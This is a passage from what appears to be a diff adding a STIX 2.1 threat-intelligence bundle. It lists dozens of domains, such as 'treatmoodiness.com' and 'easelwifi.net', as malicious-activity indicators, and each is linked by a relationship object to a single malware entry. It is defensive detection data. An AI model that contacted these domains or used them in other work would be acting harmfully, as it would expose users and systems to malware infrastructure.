"2023-03-29T12:58:43.932235Z", + "relationship_type": "indicates", + "source_ref": "indicator--24a6f7b3-afe8-4e74-a279-49efbfa5efc4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6f988943-8e41-431a-9aa4-49f22cbc2a5e", + "created": "2023-03-29T12:58:43.932408Z", + "modified": "2023-03-29T12:58:43.932408Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fidelityoutburst.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.932408Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--79f8ac94-746d-425f-a893-e02f56ca0c20", + "created": "2023-03-29T12:58:43.933013Z", + "modified": "2023-03-29T12:58:43.933013Z", + "relationship_type": "indicates", + "source_ref": "indicator--6f988943-8e41-431a-9aa4-49f22cbc2a5e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--884ad340-e9be-4acb-b369-fca19d756efe", + "created": "2023-03-29T12:58:43.933184Z", + "modified": "2023-03-29T12:58:43.933184Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='treatmoodiness.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.933184Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d201b76-f1a8-410e-9187-1e9d445133e0", + "created": "2023-03-29T12:58:43.933796Z", + "modified": "2023-03-29T12:58:43.933796Z", + "relationship_type": "indicates", + "source_ref": "indicator--884ad340-e9be-4acb-b369-fca19d756efe", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--46a2d850-ded8-4553-aade-64b04e4b2d0a", + "created": "2023-03-29T12:58:43.933966Z", + "modified": "2023-03-29T12:58:43.933966Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='happinessreclaim.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.933966Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--07c8474a-388c-48da-bf71-f0dcf6b50c1d", + "created": "2023-03-29T12:58:43.934569Z", + "modified": "2023-03-29T12:58:43.934569Z", + "relationship_type": "indicates", + "source_ref": "indicator--46a2d850-ded8-4553-aade-64b04e4b2d0a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--84fa8104-7595-478c-a2ff-f6519ce408bb", + "created": "2023-03-29T12:58:43.934742Z", + "modified": "2023-03-29T12:58:43.934742Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='saddenungloved.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.934742Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--586f8516-dc48-45ea-a6dd-ac63db8af08c", + "created": "2023-03-29T12:58:43.935343Z", + "modified": "2023-03-29T12:58:43.935343Z", + "relationship_type": "indicates", + "source_ref": "indicator--84fa8104-7595-478c-a2ff-f6519ce408bb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e99c415a-8c88-4ac9-907f-a827ab05b1cd", + "created": "2023-03-29T12:58:43.93551Z", + "modified": "2023-03-29T12:58:43.93551Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thicknessoverspend.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.93551Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fab23740-31cb-4ee6-ad62-0276bf2b9fd0", + "created": "2023-03-29T12:58:43.936118Z", + "modified": "2023-03-29T12:58:43.936118Z", + "relationship_type": "indicates", + "source_ref": "indicator--e99c415a-8c88-4ac9-907f-a827ab05b1cd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--12c2b7d6-da44-4671-8548-2586d06f6e96", + "created": "2023-03-29T12:58:43.936286Z", + "modified": "2023-03-29T12:58:43.936286Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='easelwifi.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.936286Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--de2ffa19-f005-4018-8b08-1b2518e545a7", + "created": "2023-03-29T12:58:43.936877Z", + "modified": "2023-03-29T12:58:43.936877Z", + "relationship_type": "indicates", + "source_ref": "indicator--12c2b7d6-da44-4671-8548-2586d06f6e96", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--73a7a1e2-150f-474e-9fb6-c6049e68c6d4", + "created": "2023-03-29T12:58:43.937046Z", + "modified": "2023-03-29T12:58:43.937046Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stickonthepost.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.937046Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--42b00140-81c0-4110-9a53-11e1c8aa0346", + "created": "2023-03-29T12:58:43.937653Z", + "modified": "2023-03-29T12:58:43.937653Z", + "relationship_type": "indicates", + "source_ref": "indicator--73a7a1e2-150f-474e-9fb6-c6049e68c6d4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aaea5a3e-98da-41b2-b22f-65eddb135908", + "created": "2023-03-29T12:58:43.937824Z", + "modified": "2023-03-29T12:58:43.937824Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='getfirston.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.937824Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--837c5dd3-2e60-4e47-a392-31d87863b805", + "created": "2023-03-29T12:58:43.938425Z", + "modified": "2023-03-29T12:58:43.938425Z", + "relationship_type": "indicates", + "source_ref": "indicator--aaea5a3e-98da-41b2-b22f-65eddb135908", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--61f5ece2-ba3c-42f5-9b22-0639bce200aa", + "created": "2023-03-29T12:58:43.938596Z", + "modified": "2023-03-29T12:58:43.938596Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='roregardens.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.938596Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b70721e-aa5c-4c6e-bbac-aa5f7d1e568a", + "created": "2023-03-29T12:58:43.939322Z", + "modified": "2023-03-29T12:58:43.939322Z", + "relationship_type": "indicates", + "source_ref": "indicator--61f5ece2-ba3c-42f5-9b22-0639bce200aa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--62153617-25f7-4519-a1e1-72f9d786620b", + "created": "2023-03-29T12:58:43.939496Z", + "modified": "2023-03-29T12:58:43.939496Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sprintchess.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.939496Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d47ac8c-f54b-4703-81ee-2e7042a5c473", + "created": "2023-03-29T12:58:43.940095Z", + "modified": "2023-03-29T12:58:43.940095Z", + "relationship_type": "indicates", + "source_ref": "indicator--62153617-25f7-4519-a1e1-72f9d786620b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--84177af7-7d27-4175-8d8d-4290480f9129", + "created": "2023-03-29T12:58:43.940264Z", + "modified": "2023-03-29T12:58:43.940264Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='exilecarmaker.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.940264Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f1b3a3e6-c7a3-4564-bf3c-407b3dc369ad", + "created": "2023-03-29T12:58:43.940861Z", + "modified": "2023-03-29T12:58:43.940861Z", + "relationship_type": "indicates", + "source_ref": "indicator--84177af7-7d27-4175-8d8d-4290480f9129", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ae35809c-c724-479d-8799-0f1c3d3c5c6c", + "created": "2023-03-29T12:58:43.941042Z", + "modified": "2023-03-29T12:58:43.941042Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='prenatalsmilingly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.941042Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--00557625-0451-4605-af9f-79f2f8463cc1", + "created": "2023-03-29T12:58:43.941679Z", + "modified": "2023-03-29T12:58:43.941679Z", + "relationship_type": "indicates", + "source_ref": "indicator--ae35809c-c724-479d-8799-0f1c3d3c5c6c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f9cc4a89-a52a-40b9-a8c3-d2a671b7bac9", + "created": "2023-03-29T12:58:43.941853Z", + "modified": "2023-03-29T12:58:43.941853Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='frostingskilled.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.941853Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--df9aeab6-f06d-426a-8b52-08dfab01ec52", + "created": "2023-03-29T12:58:43.942458Z", + "modified": "2023-03-29T12:58:43.942458Z", + "relationship_type": "indicates", + "source_ref": "indicator--f9cc4a89-a52a-40b9-a8c3-d2a671b7bac9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f41b733a-eb54-4811-b36f-4299b0554242", + "created": "2023-03-29T12:58:43.942627Z", + "modified": "2023-03-29T12:58:43.942627Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='takedrinking.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.942627Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8cc8e5b9-f016-4b1c-9e8e-37ab7c3fb80b", + "created": "2023-03-29T12:58:43.94324Z", + "modified": "2023-03-29T12:58:43.94324Z", + "relationship_type": "indicates", + "source_ref": "indicator--f41b733a-eb54-4811-b36f-4299b0554242", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--713a1804-fc8b-4107-bfa1-e88745a1e781", + "created": "2023-03-29T12:58:43.943425Z", + "modified": "2023-03-29T12:58:43.943425Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zippydoornail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.943425Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6d88719b-1082-4e79-bf83-2fca39f53ded", + "created": "2023-03-29T12:58:43.944028Z", + "modified": "2023-03-29T12:58:43.944028Z", + "relationship_type": "indicates", + "source_ref": "indicator--713a1804-fc8b-4107-bfa1-e88745a1e781", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bae1f460-cc47-4f94-a295-5115ffd11599", + "created": "2023-03-29T12:58:43.944197Z", + "modified": "2023-03-29T12:58:43.944197Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='saviorsurface.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.944197Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--69ae115c-f5de-4e4d-975f-1bc71a42742e", + "created": "2023-03-29T12:58:43.944798Z", + "modified": "2023-03-29T12:58:43.944798Z", + "relationship_type": "indicates", + "source_ref": "indicator--bae1f460-cc47-4f94-a295-5115ffd11599", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5c4baf59-1a08-4960-a0dc-e3f0d039bdfb", + "created": "2023-03-29T12:58:43.94497Z", + "modified": "2023-03-29T12:58:43.94497Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='recreatepouch.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.94497Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--29650a51-0502-4cd9-95c7-f82a55c00a53", + "created": "2023-03-29T12:58:43.945583Z", + "modified": "2023-03-29T12:58:43.945583Z", + "relationship_type": "indicates", + "source_ref": "indicator--5c4baf59-1a08-4960-a0dc-e3f0d039bdfb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6ed90e3a-4654-4132-bf26-30048ae2c715", + "created": "2023-03-29T12:58:43.945752Z", + "modified": "2023-03-29T12:58:43.945752Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hunchbackgosling.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.945752Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cf9669f6-b28d-4df4-a8ce-8420ca7eb99a", + "created": "2023-03-29T12:58:43.946472Z", + "modified": "2023-03-29T12:58:43.946472Z", + "relationship_type": "indicates", + "source_ref": "indicator--6ed90e3a-4654-4132-bf26-30048ae2c715", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--178771af-85f8-43c3-970b-e9c746910b13", + "created": "2023-03-29T12:58:43.946644Z", + "modified": "2023-03-29T12:58:43.946644Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='anglerregroup.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.946644Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--309067db-f2b6-411e-b54d-4c4c3fba8ec8", + "created": "2023-03-29T12:58:43.94724Z", + "modified": "2023-03-29T12:58:43.94724Z", + "relationship_type": "indicates", + "source_ref": "indicator--178771af-85f8-43c3-970b-e9c746910b13", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2bd92348-5c4f-46be-967e-8715efa8b9d5", + "created": "2023-03-29T12:58:43.947408Z", + "modified": "2023-03-29T12:58:43.947408Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='disbursedemotion.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.947408Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7a02aaec-d0cf-4df5-bcc6-479ca57f539c", + "created": "2023-03-29T12:58:43.948006Z", + "modified": "2023-03-29T12:58:43.948006Z", + "relationship_type": "indicates", + "source_ref": "indicator--2bd92348-5c4f-46be-967e-8715efa8b9d5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--64dad552-9953-4df5-920f-802ac29e3e25", + "created": "2023-03-29T12:58:43.948174Z", + "modified": "2023-03-29T12:58:43.948174Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='numbercamper.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.948174Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--075ae7ac-5b61-4dbf-84bb-3609bf5e9b88", + "created": "2023-03-29T12:58:43.948771Z", + "modified": "2023-03-29T12:58:43.948771Z", + "relationship_type": "indicates", + "source_ref": "indicator--64dad552-9953-4df5-920f-802ac29e3e25", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--63223524-7ccd-4cd1-81a4-9ec45a4b8f6c", + "created": "2023-03-29T12:58:43.94894Z", + "modified": "2023-03-29T12:58:43.94894Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='promotedcontents.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.94894Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--26e09e9a-7f04-40f9-9f84-7003c9c9d388", + "created": "2023-03-29T12:58:43.949551Z", + "modified": "2023-03-29T12:58:43.949551Z", + "relationship_type": "indicates", + "source_ref": "indicator--63223524-7ccd-4cd1-81a4-9ec45a4b8f6c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f0b9029d-d74f-40eb-bf20-03bc270965f1", + "created": "2023-03-29T12:58:43.94972Z", + "modified": "2023-03-29T12:58:43.94972Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='storagemorbidity.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.94972Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e6f53153-82ff-4967-933f-14b776f14e5a", + "created": "2023-03-29T12:58:43.950317Z", + "modified": "2023-03-29T12:58:43.950317Z", + "relationship_type": "indicates", + "source_ref": "indicator--f0b9029d-d74f-40eb-bf20-03bc270965f1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--536b332a-b66c-4f47-bb2d-87e69420d498", + "created": "2023-03-29T12:58:43.950485Z", + "modified": "2023-03-29T12:58:43.950485Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bagfulbunkmate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.950485Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e242baf1-8a43-4cc9-91f5-71235aa8a3dc", + "created": "2023-03-29T12:58:43.951089Z", + "modified": "2023-03-29T12:58:43.951089Z", + "relationship_type": "indicates", + "source_ref": "indicator--536b332a-b66c-4f47-bb2d-87e69420d498", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a704ba35-b354-4804-9f15-163266aa5a94", + "created": "2023-03-29T12:58:43.951259Z", + "modified": "2023-03-29T12:58:43.951259Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='esprimereluka.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.951259Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2f3cd333-a0c9-4050-8021-be2daf34d82d", + "created": "2023-03-29T12:58:43.951858Z", + "modified": "2023-03-29T12:58:43.951858Z", + "relationship_type": "indicates", + "source_ref": "indicator--a704ba35-b354-4804-9f15-163266aa5a94", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--828a713f-8e9f-46b4-ac78-bae2379b8d60", + "created": "2023-03-29T12:58:43.952028Z", + "modified": "2023-03-29T12:58:43.952028Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='number4play.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.952028Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--70e2140f-f5e0-443a-94c4-2d870d8bfbff", + "created": "2023-03-29T12:58:43.952715Z", + "modified": "2023-03-29T12:58:43.952715Z", + "relationship_type": "indicates", + "source_ref": "indicator--828a713f-8e9f-46b4-ac78-bae2379b8d60", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b542b514-c5a6-4db3-bad6-e516f07b566b", + "created": "2023-03-29T12:58:43.952888Z", + "modified": "2023-03-29T12:58:43.952888Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stillonmind.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.952888Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0a5fd091-7d9b-4b71-a949-d89a35117430", + "created": "2023-03-29T12:58:43.953601Z", + "modified": "2023-03-29T12:58:43.953601Z", + "relationship_type": "indicates", + "source_ref": "indicator--b542b514-c5a6-4db3-bad6-e516f07b566b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2327d7a7-228b-48a0-80bc-d91a4553a605", + "created": "2023-03-29T12:58:43.953774Z", + "modified": "2023-03-29T12:58:43.953774Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='papernotes.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.953774Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3ff7350a-7597-43a1-a0b9-25649d9879d6", + "created": "2023-03-29T12:58:43.954369Z", + "modified": "2023-03-29T12:58:43.954369Z", + "relationship_type": "indicates", + "source_ref": "indicator--2327d7a7-228b-48a0-80bc-d91a4553a605", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e59f28df-f760-4f08-b0a3-5980effc6bd4", + "created": "2023-03-29T12:58:43.954538Z", + "modified": "2023-03-29T12:58:43.954538Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='backbonedscouring.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.954538Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7a47dd82-a55e-4da2-a65a-44c885186e5d", + "created": "2023-03-29T12:58:43.95514Z", + "modified": "2023-03-29T12:58:43.95514Z", + "relationship_type": "indicates", + "source_ref": "indicator--e59f28df-f760-4f08-b0a3-5980effc6bd4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4b079b17-c8f8-43d6-b2e1-8f669cb2ea49", + "created": "2023-03-29T12:58:43.955311Z", + "modified": "2023-03-29T12:58:43.955311Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lillypizzaro.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.955311Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c148c79a-0171-4a6b-a133-961298db3d52", + "created": "2023-03-29T12:58:43.955906Z", + "modified": "2023-03-29T12:58:43.955906Z", + "relationship_type": "indicates", + "source_ref": "indicator--4b079b17-c8f8-43d6-b2e1-8f669cb2ea49", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1c63a1c5-bc84-467c-9d8c-fe4f987852ad", + "created": "2023-03-29T12:58:43.956073Z", + "modified": "2023-03-29T12:58:43.956073Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='freeloadgreeter.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.956073Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c7d899e5-03d6-4706-862e-f54a79c8c8f6", + "created": "2023-03-29T12:58:43.956673Z", + "modified": "2023-03-29T12:58:43.956673Z", + "relationship_type": "indicates", + "source_ref": "indicator--1c63a1c5-bc84-467c-9d8c-fe4f987852ad", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a2b70d16-e184-41f6-9578-130dbff67dda", + "created": "2023-03-29T12:58:43.95684Z", + "modified": "2023-03-29T12:58:43.95684Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='applegoatskin.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.95684Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8c91b883-06ac-4198-9df3-d9a9da8e90cb", + "created": "2023-03-29T12:58:43.95745Z", + "modified": "2023-03-29T12:58:43.95745Z", + "relationship_type": "indicates", + "source_ref": "indicator--a2b70d16-e184-41f6-9578-130dbff67dda", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b14c7da7-6dfb-4d49-8846-58edcb41219d", + "created": "2023-03-29T12:58:43.957629Z", + "modified": "2023-03-29T12:58:43.957629Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='awardantiquity.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.957629Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b298271f-f74a-447c-be2d-a55f1c839802", + "created": "2023-03-29T12:58:43.958271Z", + "modified": "2023-03-29T12:58:43.958271Z", + "relationship_type": "indicates", + "source_ref": "indicator--b14c7da7-6dfb-4d49-8846-58edcb41219d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aaaca074-69ee-4378-9dc4-f3bb53301f45", + "created": "2023-03-29T12:58:43.958441Z", + "modified": "2023-03-29T12:58:43.958441Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jokesterappraisal.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.958441Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4898a1d9-330d-4155-a162-1d9baa3346fb", + "created": "2023-03-29T12:58:43.959048Z", + "modified": "2023-03-29T12:58:43.959048Z", + "relationship_type": "indicates", + "source_ref": "indicator--aaaca074-69ee-4378-9dc4-f3bb53301f45", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e71a26ff-a22f-44f2-82c6-ef5cc6b16629", + "created": "2023-03-29T12:58:43.959216Z", + "modified": "2023-03-29T12:58:43.959216Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cogwheelgristle.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.959216Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bcfcdce0-aeb0-4718-943f-01e1d080ad26", + "created": "2023-03-29T12:58:43.959826Z", + "modified": "2023-03-29T12:58:43.959826Z", + "relationship_type": "indicates", + "source_ref": "indicator--e71a26ff-a22f-44f2-82c6-ef5cc6b16629", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb7afe4c-e807-4cec-80d5-79abf9c22889", + "created": "2023-03-29T12:58:43.960033Z", + "modified": "2023-03-29T12:58:43.960033Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='obsoletenavigator.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.960033Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c46947bd-6bc9-4864-93f9-cece17733629", + "created": "2023-03-29T12:58:43.960758Z", + "modified": "2023-03-29T12:58:43.960758Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb7afe4c-e807-4cec-80d5-79abf9c22889", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--421872b0-c014-4a53-83a0-2cfba15d2fca", + "created": "2023-03-29T12:58:43.960931Z", + "modified": "2023-03-29T12:58:43.960931Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='timethunder.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.960931Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2b20951f-c8cd-4a0e-adf2-3623007b1535", + "created": 